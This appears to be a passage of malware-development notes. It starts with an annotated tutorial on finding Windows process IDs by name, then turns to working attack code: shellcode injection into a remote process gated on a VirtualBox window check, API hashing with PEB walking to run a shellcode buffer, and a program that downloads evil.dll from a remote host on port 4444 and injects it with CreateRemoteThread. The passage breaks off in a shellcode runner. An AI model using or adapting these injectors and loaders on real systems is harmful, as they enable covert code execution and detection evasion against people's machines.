Find PID(Process ID) by Name
By Name
Code
//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
// find process ID by process name
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
return 0;
}
Explanation
#include <windows.h>
windows.h
is a Windows-specific header file that lets your program use the Windows API - which is a massive collection of functions Microsoft provides for doing stuff on Windows.
#include <stdio.h>
<stdio.h>
stands for Standard Input Output Header in C and C++.
It provides functions for basic input and output, like:
Function | What It Does |
---|---|
printf | Print to console |
scanf | Read from user input |
fopen | Open a file |
fread | Read data from a file |
fwrite | Write data to a file |
fclose | Close a file |
#include <stdlib.h>
<stdlib.h>
stands for Standard Library header in C/C++. It gives you access to general-purpose utility functions - especially for:
Category | Example Functions | Purpose |
---|---|---|
Memory | malloc , free , realloc | Dynamic memory allocation |
Process control | exit , system , abort | Terminate program or run commands |
Conversions | atoi , atof , strtol | Convert strings to numbers |
Random | rand , srand | Generate random numbers |
#include <string.h>
This is the standard C header for working with strings and memory.
It provides functions like:
Function | What it does |
---|---|
strlen | Gets the length of a string |
strcpy | Copies one string to another |
strcat | Appends one string to another |
strcmp | Compares two strings |
memcpy | Copies blocks of memory |
memset | Fills memory with a constant value |
<string.h> is your string toolbox in C. Since C strings are just arrays of characters (not full objects like in C++), this header gives you the functions to manipulate them. |
#include <tlhelp32.h>
tlhelp32.h
is a header file, which provides access to the Tool Help Library functions in Windows. These functions are primarily used for process and thread enumeration, among other system-level operations.
What is the Tool Help Library?
The Tool Help Library is a Windows API that allows you to get information about processes, threads, modules, and heaps on the system. This library is useful for interacting with processes and performing operations such as:
- Enumerating processes
- Enumerating threads
- Getting information about modules (DLLs and EXEs) that are loaded into a process
The functions in the Tool Help Library are mainly used to gather information about running processes and system resources, which is why it’s commonly used in debugging and reverse engineering contexts.
Common Functions in
tlhelp32.h
Some of the key functions provided by tlhelp32.h
include:
CreateToolhelp32Snapshot
:- Captures a snapshot of the system’s processes, threads, modules, or heaps at a particular point in time.
Example:
HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
dwFlags
: Specifies what information should be captured, such as processes or threads.th32ProcessID
: The process ID for the snapshot;0
for all processes.
- Captures a snapshot of the system’s processes, threads, modules, or heaps at a particular point in time.
Process32First
andProcess32Next
:- Used to iterate through the list of processes in the snapshot.
Example:
BOOL Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
Process32First
starts the iteration of processes.Process32Next
continues the iteration to the next process.PROCESSENTRY32
is a structure that holds information about a process.
- Used to iterate through the list of processes in the snapshot.
Thread32First
andThread32Next
:- Used to enumerate threads in a snapshot.
Example:
BOOL Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte); BOOL Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
- These functions help you get information about the threads running within a particular process.
- Used to enumerate threads in a snapshot.
Module32First
andModule32Next
:- Used to enumerate the modules (DLLs or EXEs) loaded by a process.
Example:
BOOL Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme); BOOL Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
- Used to enumerate the modules (DLLs or EXEs) loaded by a process.
Example Usage of
CreateToolhelp32Snapshot
to Get Process List
Here’s a simple example that uses the Tool Help API to get a list of running processes on the system:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
int main() {
// Create a snapshot of all processes
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("Failed to create snapshot\n");
return 1;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get the first process in the snapshot
if (Process32First(hSnapshot, &pe32)) {
do {
// Print process name and PID
printf("Process Name: %s | PID: %d\n", pe32.szExeFile, pe32.th32ProcessID);
} while (Process32Next(hSnapshot, &pe32)); // Get the next process
} else {
printf("Failed to get first process\n");
}
// Close the snapshot handle
CloseHandle(hSnapshot);
return 0;
}
- Creating the Snapshot:
- The
CreateToolhelp32Snapshot
function is called with the flagTH32CS_SNAPPROCESS
to create a snapshot of all processes on the system. The second argument is0
, meaning we want information on all processes.
- The
- Process Iteration:
- We use
Process32First
to get the first process in the snapshot, and then useProcess32Next
to iterate over all the processes in the snapshot. Each process’ information is stored in thePROCESSENTRY32
structure.
- We use
- Printing Process Info:
- For each process, we print the executable file name (
szExeFile
) and the process ID (th32ProcessID
).
- For each process, we print the executable file name (
- Closing the Snapshot:
- After the iteration is complete, we close the snapshot handle using
CloseHandle
.
- After the iteration is complete, we close the snapshot handle using
int findMyProc(const char *procname)
- This defines a new function called
findMyProc
. - It takes one input: a pointer to a constant character array (
const char *procname
) .Basically, a string (the name of the process you’re looking for, like"notepad.exe"
). - It returns an
int
, which will usually be the Process ID (PID) if it finds it, or maybe-1
if it fails.
Part | Meaning |
---|---|
int | The function will return an integer (usually the PID you find). |
findMyProc | The name of the function you are creating. |
const char *procname | Input: a pointer to a string (the process name you’re searching for). const means you promise not to modify the string inside the function. |
HANDLE hSnapshot;
HANDLE
is a special type in Windows programming - basically, it means “a reference to something” (kind of like a pointer, but for Windows objects).hSnapshot
is just the variable name - “h” for handle, “Snapshot” because this will hold a snapshot of the system’s processes.
PROCESSENTRY32 pe;
What is
PROCESSENTRY32
?
PROCESSENTRY32
is a structure (a “struct”) provided by Windows.- It stores information about a running process on the computer.
Think of it like a box that holds multiple pieces of information about a process, such as:
Inside PROCESSENTRY32 | Meaning |
---|---|
th32ProcessID | The ID number of the process. |
szExeFile | The name of the executable (example: chrome.exe ). |
cntThreads | How many threads the process has. |
… | Many more fields. |
Windows needs this box to give you information about processes.
What does
PROCESSENTRY32 pe;
do?
This creates a variable named pe
of type PROCESSENTRY32
.
In simple words:
“Make a box (pe
) big enough to hold all the process information.”
int pid = 0;
BOOL hResult;
int pid = 0;
pid
stands for Process ID. It’s an integer variable that will store the ID of a process (the unique identifier that the operating system uses to track a running process).
BOOL hResult;
BOOL
is a Boolean data type used in Windows programming. It can be eitherTRUE
(non-zero) orFALSE
(zero).hResult
is a variable used to store the result of a function call, typically whether the operation was successful or not.
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
CreateToolhelp32Snapshot
:- This function creates a snapshot of the system’s current state, focusing on processes, heaps, modules, and threads. The snapshot can then be used to retrieve detailed information about processes or threads.
Example:
HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
dwFlags
: Specifies what information should be captured, such as processes or threads.th32ProcessID
: The process ID for the snapshot;0
for all processes.
- This function creates a snapshot of the system’s current state, focusing on processes, heaps, modules, and threads. The snapshot can then be used to retrieve detailed information about processes or threads.
Parameters:
TH32CS_SNAPPROCESS
:- This constant tells the function to capture processes in the snapshot.
TH32CS_SNAPPROCESS
means the snapshot will include all active processes in the system, and you can enumerate through them.
0
:- This parameter is the process ID. Setting it to
0
means the snapshot will contain all processes, not a specific one. If you wanted to capture information about a specific process, you would pass its process ID here instead of0
.
- This parameter is the process ID. Setting it to
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
checks whether the CreateToolhelp32Snapshot
function succeeded in creating a snapshot of the system’s processes.
INVALID_HANDLE_VALUE
:- This is a constant defined in the Windows API, which represents an invalid handle. It is used to indicate that a function that returns a handle (like
CreateToolhelp32Snapshot
) failed to successfully obtain the handle. - In this case,
INVALID_HANDLE_VALUE
is used to check if the snapshot creation failed. If the snapshot could not be created, the return value ofCreateToolhelp32Snapshot
will beINVALID_HANDLE_VALUE
.
- This is a constant defined in the Windows API, which represents an invalid handle. It is used to indicate that a function that returns a handle (like
hSnapshot
:- This variable stores the handle returned by
CreateToolhelp32Snapshot
. If the function failed to create a snapshot,hSnapshot
will be set toINVALID_HANDLE_VALUE
.
- This variable stores the handle returned by
if (INVALID_HANDLE_VALUE == hSnapshot)
:- This condition checks if the value of
hSnapshot
is equal toINVALID_HANDLE_VALUE
, indicating that the snapshot creation failed.
- This condition checks if the value of
return 0;
:- If the condition is true (meaning the snapshot creation failed), the function will return
0
, signaling an error and exiting early from the function. This is typically done to prevent the program from attempting to process an invalid snapshot.
- If the condition is true (meaning the snapshot creation failed), the function will return
pe.dwSize = sizeof(PROCESSENTRY32);
Before you use pe
, you must tell Windows the size of the box.
Because:
- Different versions of Windows might have slightly different structure sizes.
- If you don’t tell Windows the correct size, it can crash.
So in simple words:
“Hey Windows, I prepared a box called
pe
, and it is this big (sizeof(PROCESSENTRY32)
).”
hReasult = Process32First(hSnapshot, &pe);
- You have a “snapshot” (a photo) of all processes (created by
CreateToolhelp32Snapshot
). - Now you want to get the first process from that snapshot.
Part | Meaning |
---|---|
Process32First | A Windows API function that gets the first process from a snapshot. |
hSnapshot | The snapshot handle (photo) you created earlier with CreateToolhelp32Snapshot . |
&pe | A pointer to your PROCESSENTRY32 structure, where the function will fill in the first process information. |
while (hResult){
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
Line | Meaning |
---|---|
while (hResult) | While there is still a valid process (hResult is TRUE ), keep looping. |
if (strcmp(procname, pe.szExeFile) == 0) | Compare the target process name (procname ) with the current process name (pe.szExeFile ). If they match (strcmp returns 0 ), we found our process! |
pid = pe.th32ProcessID; | Save the Process ID (PID) of the matching process. |
break; | Exit the loop — we found what we were searching for! |
hResult = Process32Next(hSnapshot, &pe); | Otherwise, move to the next process in the snapshot (and update pe with next process info). |
CloseHandle(hSnapshot);
- It closes the handle you created earlier with
CreateToolhelp32Snapshot
. - This frees system resources (memory and handle slots) that were being used by
hSnapshot
.
When you open a “handle” (like a file, process, thread, snapshot, etc.) in Windows,
you must manually close it when you’re done.
If you don’t call CloseHandle()
, you can cause:
- Memory leaks (unused memory is stuck)
- Handle leaks (Windows has a limited number of handles per process)
- System performance problems over time
Compile
i686-w64-mingw32-g++ hack.cpp -o hack.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Run
Transfer hack.exe to your Windows Machine.
Launch mspaint.exe or any desired exe and run this command in CMD.
.\hack.exe mspaint.exe
via NtGetNextProcess
Code
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <shlwapi.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lpsapi -lshlwapi
Run
via WTSEnumerateProcesses
The WTSEnumerateProcessesA
function is a Windows API function that retrieves information about the active processes on a specified terminal server.
Code
//hack.c
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")
int findMyProc(const char * procname) {
int pid = 0;
WTS_PROCESS_INFOA * pi;
DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
DWORD count = 0;
if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
return 0;
for (int i = 0 ; i < count ; i++ ) {
if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
pid = pi[i].ProcessId;
break;
}
}
WTSFreeMemory(pi);
return pid;
}
int main(int argc, char* argv[]) {
int pid = findMyProc(argv[1]);
if (pid > 0) {
printf("pid = %d\n", pid);
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lwtsapi32
Run
VM Detection or Evasion via FindWindow
Code
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
DWORD pid;
// find a window with certain class name
HWND hcl = FindWindow(NULL, (LPCSTR) "VBoxTrayToolWndClass");
HWND hw = FindWindow(NULL, (LPCSTR) "VBoxTrayToolWnd");
if (hcl || hw) {
pid = atoi(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
} else {
printf("virtualbox VM not found, aborting.\n");
return -2;
}
}
Compile
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Run
Finding kernel32.dll
base : asm style
Code
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
struct LDR_MODULE {
LIST_ENTRY e[3];
HMODULE base;
void* entry;
UINT size;
UNICODE_STRING dllPath;
UNICODE_STRING dllname;
};
typedef HMODULE(WINAPI *fnGetModuleHandleA)(
LPCSTR lpModuleName
);
typedef FARPROC(WINAPI *fnGetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);
typedef PVOID(WINAPI *fnVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef PVOID(WINAPI *fnCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef PVOID(WINAPI *fnWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
DWORD calcMyHash(char* data) {
DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}
static DWORD calcMyHashBase(LDR_MODULE* mdll) {
char name[64];
size_t i = 0;
while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
name[i] = (char)mdll->dllname.Buffer[i];
i++;
}
name[i] = 0;
return calcMyHash((char *)CharLowerA(name));
}
static HMODULE getKernel32(DWORD myHash) {
HMODULE kernel32;
//Load the address of the PEB for the current process and store it in the variable peb.
INT_PTR peb = __readgsqword(0x60);
auto modList = 0x18;
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;
auto mdllist = *(INT_PTR*)(peb + modList);
auto mlink = *(INT_PTR*)(mdllist + modListFlink);
auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
auto mdl = (LDR_MODULE*)mlink;
do {
mdl = (LDR_MODULE*)mdl->e[0].Flink;
if (mdl->base != nullptr) {
if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
break;
}
}
} while (mlink != (INT_PTR)mdl);
kernel32 = (HMODULE)mdl->base;
return kernel32;
}
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);
for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n", pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int main() {
HMODULE mod = getKernel32(56369259); //56369259 = hash of "kernel32.dll"
fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681);
HMODULE hk32 = myGetModuleHandleA("kernel32.dll");
fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)myGetProcAddress(hk32, "VirtualAlloc");
fnCreateThread myCreateThread = (fnCreateThread)myGetProcAddress(hk32, "CreateThread");
fnWaitForSingleObject myWaitForSingleObject = (fnWaitForSingleObject)myGetProcAddress( hk32, "WaitForSingleObject");
PVOID lb = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = myCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
myWaitForSingleObject(th, INFINITE);
}
Compile
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Run
Download and Inject
Dll code
//evil.dll
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox( NULL, "Meow from evil.dll!", "=^..^=", MB_OK );
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
C Code
//hack.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
// download evil.dll from url
char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession, (LPCSTR)"http://192.168.0.108:4444/evil.dll", 0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;
HANDLE hFile = CreateFile("C:\\evil.dll", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer, dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead, &dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);
CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}
// classic DLL injection logic
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
char* evil = getEvil();
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i\n", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
Compile
# Compile Dll
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
# Compile C++ Code
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-lwininet -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
First Start a Python3 server on attacker’s machine.
Run Shellcode
via EnumDesktopsA
Code
//hack.cpp
#include <windows.h>
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
